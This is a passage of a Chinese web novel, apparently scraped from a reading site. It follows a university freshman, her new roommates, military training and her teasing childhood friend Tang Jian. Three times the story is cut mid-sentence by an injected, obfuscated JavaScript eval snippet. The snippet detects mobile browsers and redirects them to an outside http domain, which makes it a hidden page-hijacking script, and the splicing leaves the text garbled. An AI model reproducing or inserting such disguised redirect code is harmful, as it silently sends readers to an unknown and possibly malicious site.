而三人在看到寝室里多出来的夏篱后,也不约而同地全都停下了脚——四个人八目相对。 空气暂停了两秒钟后,夏篱最先反应过来,她跪坐在床铺上给众人挥挥手,“嗨,你们好。” “嗨。” “你好你好。” “嗨嗨,你好你好。” 走在三人最前面的一身洛丽塔装扮的胖胖女生从手里提着的购物袋里掏出来一根雪糕,隔着一个白红相间的圆框眼镜笑眯眯地看着夏篱,“送给你吃,这是我们特意给你买的嗷!” ——虽然如果回来她还没来的话它就会到她的肚子里了。 “哇真的吗,”夏篱惊讶,“你们也太好了吧!” 如果此时在床下,她一定会挨个给她们一个拥抱的! “我因为是本地人所以来得最晚了,可没想到早晨我到了后咱们寝室竟然还有没来的,”第二个个子最高的长直发女生,把手里的购物袋放到右侧挨着窗户的桌子上,笑着说,“我们等到十一点还没见你来就结伴先到超市买了点零食和日用品。” 最后走进来的一头及肩发女生身形很瘦,她随手把门关上,接话道:“乐苗和方茴非要等到你来再去吃东西,但我实在是太饿了也不知道你什么时候会来所以就把她们都拉去超市了,幸好回来终于看到你人来了……那待会我们就先去吃饭吧,当团建。” 夏篱听着三人的话,实在是忍不住了。 她踩着床梯噔噔噔下来,连鞋子都没顾上穿,光着脚就挨个走到三人身边给了她们一个大大的拥抱,感动道,“你们人真的都好好噢!” 她已经预感到自己大学这几年会过得有多愉快了! 夏篱自认非常成熟地可以包容所有脾气的人,但确实没想到自己在大学期间第一个和自己息息相关的人际关系就是如此直率友好的一群人。 而正当四人忙着自我介绍时,就听寝室门被人从外咚咚敲了两声。 四人面面相觑了眼,离门最近的乐苗回身把房门打开了半扇,可随后手却扶着门把半天没反应了。 “谁啊?”个子最高的方茴走两步到她身后,顺便把房门拉开了些……同样静止了似的没作第一反应。 最后还是够瘦的梁清波把脑袋从两人和门中间的缝里挤出去,“……帅哥找谁?” 话音落,挤在门口的三人福至心灵地齐刷刷回头看向寝室里的夏篱。 因为三个和谐友善的室友完全把某人忘在了脑后的夏篱后知后觉地反应过来,看着随后出现在敞开了的门外的唐简“啊”了声,“找我的找我的,”她一边应着一边往门口走,在看到唐简两只手上勾着的夸张到简直够十个人吃的午餐时,不由自主地对他扬起了一抹从未有过的、感激的、灿烂的、大大的笑容。 真是太懂事了啊!我的好朋友! 有你真是我大大的福气! 啊! 4. 第 4 章 因为寝室里人都到齐了,唐简没再进来,只是在夏篱接了左手里的东西后,把右手剩下的递给了离他最近的一身五颜六色他看不懂装扮的女生手里。 他活动了下有些充血的手指,隔着还跟个雕像似的站在门口的三人给放东西到桌上的夏篱抬了抬下巴招呼,“我走了,夏篱。” “拜拜。”夏篱满脸高兴地冲好朋友挥挥手。 “……” 一直到唐简高大的身影从楼梯那消失看不见,门框上摞在一起的三颗头才像拨了三根琴弦似的铛铛铛——递进式地一个一个转过来。 最先开口的是走回来用力把手里沉甸甸的午餐放到公共桌上的乐苗,“篱篱,刚刚那大帅哥是你男朋友吧!” 她看到他们两人手上戴着的同款红绳了! “你男朋友好帅呀!而且好高!感觉头都要顶上咱们寝室门了,这身高至少185吧?” “他净身高188,”夏篱撇撇嘴,然后解释:“不过唐简不是我男朋友。他只是我发小。” “发小?青梅竹马?”一旁的梁清波眼睛一亮,“那据我十年资深小说迷的宝贵经验,青梅竹马十对有九对两情相悦,剩下一对破镜重圆。” “……”夏篱听得新鲜的发笑,可还是竖起一根手指摇了摇,“对不起,要让你失望了,但我俩既两情相悦不了一点,也不是破了的镜子,没圆的必要。” 梁清波眯了眯眼睛,明显不相信。 而乐苗却好像看出来夏篱眼里的认真,有些难以置信的震惊:“真的假的,可你发小长得真的巨帅嗷!我敢说以我十八年阅帅哥无数的经验来说,他绝对能排前二!” 乐苗虽然不是专业Coser,但好歹也在这行里混了快六年。所以比起一般人,她自认见过的帅哥美女还是更多一些的。 虽然有些男Coser是装扮后才会帅的惨绝人寰,但也有不少装扮是锦上添花类型的。而方才那位叫唐简的男生,一张脸给她的主观审美简直是冲击般的存在。 可夏篱看着却并不热衷于这个话题,她认真地给桌上一一摆开的好吃的相面,发现基本都是自己爱吃的时倒还挺高兴的。 闻言随口道:“帅是条件又不是找男朋友的唯一标准。” 说完抬头想示意大家开吃,却发现周围三人仍以一种怀疑又好奇的目光瞧着她。 夏篱张了张嘴,随后甚是无言地叹了口气。 她掏出来手机打开相册翻了张照片出来给她们看,只说了一句话:“这是我的全家福。” 三人看了。 三人沉默。 这个喷不了,这是真在帅哥美女堆里长大的。 “……”方茴把手机还给夏篱,玩笑道,“怪不得刚见到你就觉得你长得又好看又可爱的,感情你家这基因想长得不好看也是挺难的吧。” 夏篱:“……”谢谢你啊美少女,你可真会夸。 “我有个问题篱篱。”乐苗小学生式举手。 “嗯哼。” “为什么你家全家福里会有你发小嗷?” 六只眼睛重新齐刷刷盯向她。 “我都说了他是我发小嘛。”夏篱说,“我爸妈和他爸妈是从小一起长大比很多有血缘关系的亲人关系还要好得多的多的好朋友。唐简小学那段时间是我干爸干妈他们工作最忙最重要的时候,因为没人照看他他们就把他放我家里了,直到他读初一才搬走的。” ——虽然只是从她家那栋搬到隔壁那栋而已。 “帅哥靓女、青梅竹马、还寄养……”梁清波掰着手指头,“你们这是把热门小说梗都集齐了啊,这不在一起都不合适了。” “……”夏篱自己不爱看小说,所以对她嘴里的热门并不了解,只是对于这种对她来说从来不在她考虑范围之内的事情她其实很少多费口舌的。因此她拿起一碗米饭递给梁清波,威胁笑说,“还要不要吃饭?” “……要。” “那就请少说话多吃饭。” “……好的。” 梁清波也并非那种没眼力见的人,况且夏篱脾气看着再如何好,她们也是初初认识的两个人,自然见好就收了。 四人边吃边闲聊着各自暂且还不够精彩却也短暂而美妙的这十八年人生——对于高中繁忙紧张学业的抱怨感慨,对于想象中大学自由生活的美丽憧憬,四人各抒己见各执其理。 从小浸泡在爱情小说海洋里的梁清波表示无论如何她一定要在大学里谈一场轰轰烈烈的恋爱;而因为父母都是在大学里交到今生挚友的方茴觉得爱不爱情的她顺其自然,但一定要在大学里交到一个彼此真心对待可以老了一起住养老院的好朋友;乐苗就比较贪心了,爱情、好朋友甚至于学业,她一个都不打算放过,哪个她都打算拿下! 呱唧呱唧—— 其他三人对于乐苗同学的豪言壮志给予了最衷心且鼓励的掌声。 “那你呢,篱篱,你打算怎么过你的大学生活?”方茴问她。 这个问题夏篱在当初决定考来这所学校时就有答案了,所以几乎是零帧开口的回她说,“这四年我要努力学习专业攻精,争取大二进《翼形、叶栅空气动力学国家级重点实验室》,大三拿到咱们学校硕博直通车的通知书,可以师承黄伟教授,将来毕业参与最新型战机设计。” “……” “……” “……” 对于三个其中一个考上新闻专业和另外两个分别被调剂到国际经济与贸易和德语专业的纯文科生来说,夏篱这一番话不说是天书吧,那也差不多了。 半晌,从英语被调剂到德语的乐苗干巴巴道:“那个……你刚说的那个什么异形栅栏的实验室,它是干嘛的呀? “我虽然不懂但是听说咱们学校三航学院的很多实验室都是国家级重点实验室,硕士生都很难进的。你大二就想进……这目标是不是太夸张太不切实际了嗷?” 其他两个同样有听没有懂的跟着点点头。 “是《翼形、叶栅空气动力学国家级重点实验室》。”夏篱认真又重复了遍,说,“这确实是一个有点夸张的目标,可是就因为夸张才更有努力的动力啊。而且我也并非是不切实际,我是之前了解过有先例才会这样决定的。” 好吧,三人想。 反正人不轻狂枉少年。 “好!”嗓门清亮的梁清波这时举起了手里的橙汁,“既然我们都有自己的目标和方向,那从今天开始我们每个人就都为了我们的梦想一起努力吧!为了未来我们可以一起拥有一个难忘且精彩的大学生活!干杯!” 上头了的乐苗一把摘了头上的金色长直假发露出一头可爱的短发羊毛卷,举着一瓶葡萄汁也豪爽道:“干杯!干杯!” 和夏篱一样第一次看见乐苗自己真正头发的方茴被她那一头可爱的羊毛卷给可爱到了,哈哈笑着揉了揉她头发,也站起身举着手里的白桃汁扯起嗓子道:“一起加油!” “……”向来社牛到不行的夏篱没想到此时自己倒成了最“含蓄”的那一个,因此不遑多让地拿手里的芒果汁和她们的碰上,说,“一起加油!干杯!” 酒……汁足饭饱后,四人各自瘫坐在自己的椅子上,谁都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559825|171353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力气说话了。 “篱篱,”好一会儿,乐苗有气无力地看着天花板对夏篱喊了声,“你一定要问问唐简学长他这是从哪家店里买的饭,以后我们不想吃食堂就从这家点外卖吧,好好吃嗷!” 夏篱闻言应了声。 方茴道:“哪用得着问啊,没看到袋子上标着大大的两个‘王记’吗?这是我们北城最有名的一家小炒菜连锁店。每家店每天人都多的要死,去排队买还差不多,等外卖送来估计你得成人干了他们才能到。我敢肯定,唐简学长一定是提前找人去排了队我们才赶得上吃的,不然像学校开学这几天人流量这么大,想按点吃上根本不可能。” “要是听你这么一说的话……”梁清波仰靠在椅背上的脑袋慢腾腾转向自己旁边的夏篱,在后者冲自己龇牙“嘶”声的时候,滑跪,“Sorry.” 可说完顿了顿,她又试探着道,“那既然你对唐简学长没兴趣,我们可以追他吗?” 夏篱奇怪道,“你们追他我肯定是没意见啊,只要他同意就好了嘛。” 乐苗闻言惊讶地隔着镜框瞪大眼睛看初中时曾做过三年校友的同窗,“大波,你要追嗷?” 方茴也好奇地眨眨眼等她回话。 梁清波看着三人模样仿佛还真认真地思考了片刻,但很快她就放弃了这一想法。 “算了,我不配。”她说。 夏篱听着她的话,仿佛自己又看到了早晨在大巴车上的辛恬。 但还是有些纳闷,“为什么这么说?” “啊?”梁清波略有些茫然地应了声,不是很明白这有什么为什么的——明眼人都能看出来的差距吧。 “唐简虽然是我的朋友,但是你也很好啊。”夏篱说。 虽然茫然,可梁清波还是没忍住好奇:“哪好啊?” 夏篱:“因为你能考上咱们学校你肯定又努力学习又好还有其他很多同学差了点的好运气,而且你个子高看起来也很健康,还有一双很漂亮很有味道的单眼皮大眼睛。哪里不好了?在我看来,假如你有喜欢的人,只要他也喜欢你,那你们就会是天造地设的一对。” 所以为什么要贬低自己呢。 梁清波有些瞠目又有些感动地听着夏篱的这番“肺腑之言”,半晌讷讷道,“谢谢你夸我……你人真好。” 夏篱:“……” 虽然梁清波看得出来夏篱是很真心实意地在说这些话,可她虽热衷于徜徉在言情小说的海洋里,对于爱情有着一种可以堪称为不切实际的幻想……但总体来说,她自认还算是清醒的。 就算排除外貌这最不值一提的差距,只唐简方才简简单单两句话的谈吐气度,穿着配饰,还有整个人因为“养尊处优”而跟“不熟悉”的人自然而然保持的那种与生俱来的距离感……更别提刚刚她们看的那张全家福背景里那一看就造价不菲的软装家饰——这些都是身为夏篱而无法注意到的东西。 梁清波看着夏篱,继续说道:“……可能是因为你从小就是成长在一个周遭都很优秀的人群里,所以如果不是你的自信开朗和善于发现别人优秀的闪光点等等这些很多人都没有的好品质,对于我来说,你也会是像唐简学长那样仅仅只是看起来就‘高不可攀’的人,你明白我的意思吗?” “……”因为是第一次听到别人对自己说这样一番话,夏篱怔怔地听着好一会儿没回过神来。 而等她反应过来其中意思时,确实还挺惊讶的。 因此她不由自主地去看另外两个人寻求答案——结果就见她们仿佛化身两只捣蒜锤,两颗头疯狂地对她倒啊倒啊倒。 5. 第 5 章 那天的话题终结在方茴的一句总结性发言:“团建聚餐我们改天吧,今天这顿实在是太撑了”——唐简那天买的东西,她们四个人足足吃了两顿才勉强把它们消灭完。可也正因为那两顿在寝室这个相对自由又令人放松的空间里,她们四个本身也都并不难相处的人很快打成了一片。 当时梁清波的那番话事后夏篱也静下心很仔细的想了想,她觉得于一方面来说她说得是对的——因为从小生活成长环境的原因,她和她们哪怕是看待的同一件事情的同个角度甚至是同个片面得到的感受可能都是不一样的。 就像从小父母长辈给予她的足够的爱和后盾一样的守护伴随着她长大,让她可以尽情肆意地绽放自信和做任何自己想要做的事一样;相对的,也会有很多人并没有她这样的幸运来享受这一切,那遇事自然很难做到像她一样可能总是下意识看向事情最好的那一面。 可转念一想,如果她没感觉错的话,梁清波那天的那番话并非对自己是“反感”的,相反,她应该是欣赏和喜欢的——所以夏篱觉得,虽然她改变不了“夏篱外”的所有人的过去,至少将来如果有人因为她的这些“不同”而有些更积极和更好的想法——那不同样是一件很好的事情吗? …… 那晚她们各自到班级报道领了书和军训服后,隔天就开始了为期两周的军训。 不过军训前的校内大体检结果却让夏篱难得狠狠地破了一次防——因为她竟然是她们寝室里身高最矮的那一个——连体重是她两倍的乐苗小胖胖都比她高了一公分——事实证明,体型胖只是视觉上会显得矮而已,高还是真的高。 不过对于从小并不疏于锻炼甚至还跟着长辈们养了一个良好生活作息的人来说,日常军训操练在夏篱身上那只能用三个字来形容:洒洒水啦! 好吧,是四个字。 所以每天除了毒辣的太阳对夏篱“严刑拷打”外,别的难不倒她。 反而是因为过胖和过瘦的乐苗和梁清波,短短一个星期每个人都因为低血糖而晕了两次——就像胖会显得人矮一样,看起来健康的人也不一定是健康的——夏篱默默收回初识那天她夸赞梁清波看起来很健康的那句话。 夏篱因为没跟她们两个在一个方阵消息总是滞后很久才知道,第二次事情发生后,学校就把两人还有其他三个同样在军训前体检没查出任何问题却频繁晕倒的同学一起拉到市中心医院又做了一次系统的体检。 结果虽然仍旧没什么生理性的问题,但那天下午全体新生还是暂停了半天的军训——到大礼堂看了整整四个小时的军事纪录片。 以至于夏篱和方茴还有辛恬——方茴和辛恬也很巧,不仅同一专业还被分到了一个班,报道那天晚上两人还凑巧坐了同桌,聊起来各自室友后自然又碰巧因为夏篱的原因而成了很好的上课搭子——总之,都是缘分。 话说回来,这天下午三人从大礼堂出来后,夏篱在食堂看见这一个星期雷打不动早午晚餐都准时帮她占位子打饭的唐简时,差点儿没立定朝他敬个军礼感谢——可见军事洗礼还是很有成效的。 唐简看见夏篱对着自己举起手又放下,奇怪地瞟她眼,“抽筋?”还不等她开口否认,就又听他道:“不就是坐了四个小时么,真弱。” “……”真是好歹毒的一张嘴。 夏篱抬脚就踩,可这次唐简却是连头都没低一下的零帧起势抬起自己的左脚成功躲过了一劫。 “…………”诶嘿? 唐简届时低头给了夏篱一个得逞的挑眉,随即大手扣住她后脖颈不由分说地将她按到位子上坐下,然后拿起手机对着还一脸不服气仰头瞪着自己的夏篱咔擦咔擦连拍了好几张照片。 收起手机前,他瞄到照片里女孩跟只冒火的小刺猬似的表情,舌尖抵了抵下颚才勉强压下差点儿没压下去的嘴角。 唐简把手机揣进裤袋里,一手插兜一手朝她随意挥了挥,像是终于完成了一件什么任务似的转身走了。 刚打好饭,从头到尾在旁边欣赏完两人小节目的方茴和辛恬对视了眼,前者坐在夏篱对面,非常好奇地嘀咕了句,“真想知道唐简学长的妈妈有多吓人。” “吓人?”狠狠插起一个肉丸子咬了一口的夏篱闻言惊讶地抬头看她,“为什么这么说?” “……不是你说的唐简学长因为害怕她妈所以被迫军训期间每天三顿雷打不动地给你占位子打饭,还要每天拍照报备的吗?”方茴说道。 辛恬在旁附和地点点头,“是啊,咱们军训第一天吃饭你就是这么说的。” 夏篱“啊”了声,解释说,“那可能是我没表达清楚。唐简不是怕我干妈,呃,不是那种生理上的害怕的意思,而是怕她的威胁。” “威胁?”辛恬看着她没太明白地眨眨眼。 夏篱说:“我干妈觉得我们军训嘛,每天这么热这么辛苦,结束了还要排队打饭……她就觉得我很‘可怜’,觉得我不应该遭受这份‘罪’,所以拿这学期的零用钱威胁他让他每天按时给我排队打饭直到军训结束。” 每天遭受同样的“罪”却仍需要每天自己打饭的方茴和辛恬:“……” 夏篱自然不会不懂两人看自己的“谴责”的眼神,咽下嘴里的东西冲着二人无奈地耸了耸肩膀,说,“唐简为了他的零用钱自然不敢反抗我干妈,可这件事她又没有直截了当地跟我说,而是私下偷偷嘱咐他的,假如我没配合着这么做,我干妈肯定会很伤心的。” 而她的这个“伤心”才是夏篱最难以承受的。所以…… “这两个星期就只能委屈你们啦。” 毕竟天天浪费时间给她排队打饭这种事唐简他肯定都不乐意做,她又不能要求他连她朋友的也一起……别说她一点都不好意思开口说这个,就算她厚着脸皮说了,肯定也会被他冷嘲热讽一番,然后怒气冲冲甩她一句“你以为你是谁啊夏小篱?滚!” ……那么这场无声的血案还是会在干妈的无限伤心里残忍地落下帷幕。 “我们不委屈不委屈啊,”方茴吃着自己的炒拉条看着还挺高兴地,“至少学长每次给你打好饭占好的位子也让我们蹭到了啊,打完饭不用端着碗盘满世界找空位的感觉就够老鼻子爽了!” 辛恬在一旁再次“嗯嗯嗯”地狂点头。 “嘿嘿,那就好。”夏篱放下心,继续埋头干饭。 这时放在旁边的手机咻咻两声。 她打开微信,有点嫌弃地点开那个不怎么想点开的头像。 因为唐简第二条发了个表情包, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559826|171353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以夏篱点开对话框后才看到他上面发的那句“推你两个朋友的微信或电话号码给我”。 “?”夏篱打字,“你想干嘛!” 唐简没直接回她的话,直接甩了一条微博热搜链接给她。标题——《某高校新生军训学生体力不支晕倒》 链接里记者虽没点明是哪所高校,但配图其中确实有张他们学校操场的照片。 “……”怪不得下午在大礼堂里她时不时接到爸妈外婆他们打过来的“慰问”电话,电话里他们也没提这些,没看到这新闻前,她还以为他们只是日常关心她而已。 夏篱看完还没来得及回复唐简,就又看到他发过来的信息和一张聊天截图:我妈让我加上两个你室友或朋友的微信和电话号码,以防万一找不到你可以有个人联系。 夏篱无声“啊”了声,随即道:礼尚往来,你也发两个你朋友微信给我。 唐简二话没说直接给她甩过来一个名片。 夏篱:………………………… 夏篱:……这是黄伟教授的头像! 唐简:对,就是我教授微信。 唐简:找不到我找我教授比找我室友快。 夏篱:…………………… 虽然夏篱非常非常非常想按下去那个添加好友的按钮!但是却并不想是在这种情形这种问题上而加上的自己一直崇拜的偶像的微信——此时的黄伟教授连她是谁都不知道,她肯定不能把自己留给他的第一印象是“唐简的发小或朋友”这一身份。 夏篱:现在不加黄教授,要你室友的! 好在唐简也并没坚持,只是重新甩过来一个新名片——一看就是一个女生用的头像名片。 附言:我导员的。 夏篱没脾气了:唐简,你是没朋友吗? 唐简:快加 夏篱:…… 夏篱最后当然没有加——同年龄朋友间因为这事加个微信调侃一下随意说两句算了,加长辈老师的算什么。 但她却细心地把这两张名片都点了收藏。 夏篱:算了。我现在可以问问我朋友,只要她们同意了我就推名片给你,但在此之前,你得把你头像先换了! 唐简:不换 夏篱:不推。 唐简:…… 夏篱其实嫌弃唐简的这个头像很久了——一年前他来读大学后也不知道受了什么刺激,有天把自己那张用了很久的J-35卡通版头像换成了她爷奶也不会用的那种满池粉紫色的荷花图……图片四角还配着四个五彩缤纷的黑体大字:天天开心 ……就很迷。 这一年,夏篱都不知道嫌弃地说了他多少回,可这人就是咬死他就是觉得这头像好看,看了就开心。 夏篱:就很无语。 他好意思用,她还不好意思让朋友看呢! 两人你来我往讨价还价地僵持了半天,好在最后唐简为了不被自己老妈远程教育,终于同意了换头像。 一分钟后,夏篱刷新下好友列表,点开唐简头像图片放大,看见满屏幕八个苍劲有力的大字——她一看那字迹就知道肯定是他刚刚随手在一张白纸上用黑笔写下来拍成的照片。只见那上面写着: 作风优良 能打胜仗 6. 第 6 章 夏篱真觉得唐简人大概是精神不正常,疯了。 ——当然,她自然不是指他把微信头像换成了这么根正苗红的八个大字这个行为是不正常,而是自读大学后,他偶尔这些奇怪的举动真的让她有些费解。 不过既然他信守承诺的将头像换了,夏篱自然也说话算话。 她当场问了方茴和辛恬后,把她们的微信名片和电话号码推给了他。 这边方茴同意了唐简的好友请求后觉得世界还挺玄幻的,有些懵圈的问夏篱他们加上好友了,那她能跟他聊天吗? “……”夏篱闻言也挺懵圈的,纳闷道,“加上好友不就是用来聊天的,你们有话就聊嘛,问我感觉怪怪的。” “……”方茴看着夏篱眨巴眨巴眼,老实道,“我也不知道。虽然你说你跟唐简学长只是发小没其他关系,但我总有种加了自己朋友‘男朋友’微信的感觉……要保持距离。” 就像现在她甚至都不好意思当着她的面看他的朋友圈。 一旁的辛恬一句话没说,但殷勤地看着夏篱的一双眼睛也传递着和方茴眼里同样的讯息。 夏篱被两人奇怪的眼神看得头皮发麻地浑身一激灵,小脸皱巴巴地:“………………你们能别用这种可怕的眼神看我吗?我跟唐简真的不可能的!真的、不、可、能!” 方茴:“……”好吧。 辛恬看着夏篱很努力地眨了眨眼——试图眨去方才夏篱说得她和方茴看她的那奇怪的眼神。少顷她视线落在她手腕上其中一条编织简单却精致的红绳上,还是忍不住说,“……可你们戴着情侣红绳欸?” “情侣红绳?” 夏篱顺着辛恬的视线看自己手腕上的其中一条红绳,半晌才恍然明白过来,把曾经给舍友解释过的话又耐心重复了遍,“这不是情侣红绳。这是我爸妈他们当年爬山时路过一座寺庙给我们求的平安绳,我哥也有条一模一样的。” “你还有个哥哥呀?” 辛恬没看过夏篱的全家福,闻言顿时有些羡慕道,“我可是从小就希望自己可以有个哥哥的。” 但现实却是只有个天天能把她气死的弟弟。 “你有你哥哥照片吗?可以看吗?” “当然。” 夏篱从相册里翻出来之前给方茴她们看过的那张全家福把手机递给辛恬说,“里面最年轻最帅的那个就是我哥。” 辛恬:“……” 辛恬:“虽然你说的有点简单粗暴,但……你哥哥确实也挺帅的。” 应该说这张照片里就没哪个不好看的——这到底是个什么家庭啊?辛恬叹为观止。 ——也难怪夏篱会看着唐简那张帅脸无动于衷了。 这大概就跟人吃止疼片吃多了就药效免疫了一个道理吧。 “虽然但是吧,”一旁的方茴还是忍不下好奇地插嘴,“我还是好奇为什么你会那么确定你和唐简学长不可能?” “……”夏篱深深吸了一口气,继续耐性子解释:“因为我以后要找的男朋友类型不是他那样的,他喜欢的也不是我这样的。” 方茴闻言属实愣了:“所以你不但把你大学四年怎么过想的门清,连你未来要找什么样的男朋友都想过了?” 夏篱眨眨眼,反而好奇:“你们没想过吗?” 方茴摇头:“不怕你们笑话,虽然读初中开始我身边就有认识的同学谈恋爱啊什么的……但我真的到现在都不明白一个人怎么就会喜欢上另一个人了。” 辛恬缩了缩脖子,伸手和方茴一握,小声说,“同道中人,同道中人。” 夏篱:“……” “关于这个高深的问题吧……我其实也是个光脚和尚,一知半解。”她“啧”了声,又摇头晃脑地煞有介事道,“但以我从小到大看我爸妈他们的情形来说,感觉这应该是个自然而然而非必然的事情。” “怎么说?” “宁缺毋滥。”夏篱说。 辛恬眨眨眼,“……可我妈跟我说女孩最终还是要找个人嫁了的,不然老了怎么办?” “什么怎么办,有钱就行啊,可以住养老院!”养老院忠实代言人方茴说,“所以赚钱才最重要了!” “虽然住养老院也不是唯一的选择,但钱确实很重要。”夏篱看着辛恬,说,“况且这世界上结婚生了小孩的人就都安享晚年了吗?也不一定吧。” 柏悦集团——也就是夏篱他们家公司旗下的很多基金会时常都会有各种公益活动,从小夏篱父母带她参加过很多次。总体来说,夏篱虽然从小生活的富足,但也从未被长辈们溺爱成一个什么都不懂的温室小花。 “就是!”方茴接话,“这事我觉得你不用太听你妈的。再说了,我们现在才十八九岁,干吗没事要考虑那么远?” 辛恬有些迟钝地愣愣点点头,“……这样说好像也有点道理。” 方茴拿胳膊肘拐她一下,故意搞怪道,“什么叫有点道理,明明是‘肥肠’有道理!” 辛恬被逗笑了下,点头迎合,“是是是,是‘肥肠’有道理!” 夏篱看辛恬笑起来,也跟着笑了。 辛恬又吃了口东西,才又想起什么似的看着夏篱问,“所以篱篱,你以后想找的男朋友类型是你哥那样的吗?” “唔……算对了一半吧。”夏篱咽下嘴里的东西,说,“我想要的是我爸爸那样的。” 辛恬了然点点头,“你爸爸看着脾气就好好的样子。” “不止噢!”夏篱满眼含笑道,“脾气好其实只是我爸爸身上最微不足道的一点了。忠诚专一绅士温柔……真的,但凡你能想到的一个爱人该有的样子我爸爸都有。当然,他还是一个非常负责任的父亲,对我和我哥哥也都很好。所以虽然我哥现在也是单身还没交过女朋友,可有我爸这个男德典范的标杆在,我相信他以后肯定也会是个二十四孝好男人的。” 而就跟她从小的梦想就是跟随外公的脚步成为一名受人敬仰的战机设计师一样,她自小打算找的未来老公也是她爸爸那样二十四孝好男人类型的。 ——所以跟唐简不说天差地别,只是判若天渊而已。 “你哥哥长这么帅居然也没有女朋友?”辛恬惊讶的却是另外一件事。 这世界上的帅哥美女们都怎么了? 夏篱“嗯”了声,“我以前还问过他喜欢什么类型的呢,但我哥跟我说他也不知道,要看缘分。”夏篱收起手机后想了想,又说,“不过我觉得以我哥那种温柔耐心的性子来说的话,他应该也喜欢和他脾性差不多的吧。” 要真是就太好了,这样以后她不仅有个温柔耐心的哥哥还会有个温柔似水的嫂子,到那时她还不得幸福晕了。 “你哥哥喜欢温柔的女生,那唐简学长呢?”辛恬虽然有些不好意思,但仍压不下好奇地开口问了出来,“你说他喜欢的类型不是你这样的,那他喜欢什么样的?” “我不知道。”说起来这个夏篱就是一肚子的气。 尤其想起唐简当初怼自己的话,她就想天天踩他一百八十次。 ——反正不是你这样的。 这是当时她在好奇问过自己老哥后也随口问了问唐简那家伙时他张口就回自己的话。 夏篱当时真是要被气死了,谁要他那个臭屁毒舌精喜欢了?她嫌弃都还来不及呢! yue——! “像唐简那样的啊……”夏篱“哼”了声,说,“估计也就只有那种强势又说一不二的女生能治得住他吧。” 最好还是那种从小练泰拳练格斗的女战士! ——反正他从小也跟着干爸学各种武术格斗,这样只要他惹对方生气,就可以到拳台上被她一阵胖揍……夏篱想想那滑稽的场景,又心情愉悦地笑成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559827|171353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一只河豚。 正在这时候,夏篱余光瞄到一个无比熟悉的高大身影靠近,她还没来得及反应,就察觉一只罪恶的大手罩住自己的脸,长指一捏——她还鼓着的两颊一下就像漏气了的皮球——以至一道并不那么悦耳的气声顿时从夏篱毫无防备的嘴里吐了出来…… “噗——” “噗——” 对面的方茴和辛恬因为这突如其来的一下一时都没忍住笑出来一声。 “…………”夏篱脸颊上难得飘上两抹红晕——气的。 她一把拍掉自己脸颊上的手——虽然那手在她拍上前就未卜先知地率先拿开了,但她还是无比嫌弃地往一旁“呸呸呸”了好几下,顺便擦了擦那仿佛还萦绕在自己鼻尖上的干燥温热的皂荚香气。 夏篱抬头瞪着去而复返的唐简——当然,在这里敢这么对她的除了欠嗖嗖的唐建军还能有谁? 被夏篱当着别人的面这么无比嫌弃地“呸呸呸”唐简也不生气,插着兜低眉瞅着她的眼里仍旧带着几分恶作剧得逞的少年气。 他瞧了眼她面前已经空荡荡的碗盘,无视周遭递过来的探究目光,言简意赅说了个字,“走。” 夏篱还在为刚刚的插曲着恼地上头,不大高兴地睨他,“干吗!” 唐简没答她的话,一手捉住她手腕将她从座位上拽起来拉着她往餐厅外走,一手不忘端起她空了的碗盘丢到门口的餐盘车上。 夏篱仿佛成了个被半道劫持的人质,跑又跑不了,挣又挣不开,只能回头看着方茴和辛恬求救地冲着她们直摆手,示意她们跟自己过来。 唐简一直把夏篱带到了学校室内活动中心一楼门口才把她手腕松开。 他两手插到裤袋里,下巴往里一抬,说,“航模社招新,报名。” 夏篱本来还挺生气的,闻言揉着手脖子有点惊讶地张了张嘴。 她踮脚隔着大门上的玻璃窗往里瞧了瞧,果然看到里面挤了不少人在。 “航模社不是明天才开始招新吗?”她没意识到自己踮着脚扒门窗的动作完全成了某人不讲武德的笑点,直到脚跟着地回头时才强忍着翻白眼的冲动,假装没看到唐简眼里的戏谑,没好气地问:“你不是没加航模社吗,怎么知道他们提前一天招新?” “他们社长给我打电话。”唐简道。 夏篱撇撇嘴,“他还没放弃邀你入社啊?” “嗯。” “那你到底是为什么不去?”明明自己也喜欢。 “有个讨厌的人在。” 夏篱怀疑地上下打量他,“真的假的?” 大哥你可是从头顶到脚底板都没一丝会因为“别人”而不去做某件事的可能好吧? “骗你是小狗。”唐简泰然自若道。 他微微低头隔着玻璃指给她看,“航模展位里那个穿蓝白T恤的。” 夏篱虽然对此事仍保留着几分怀疑态度,但看他这么一本正经她还是没忍住好奇又凑过去踮脚朝着他指的方向看过去——果然看见一个穿着蓝白晕彩T恤的男生。 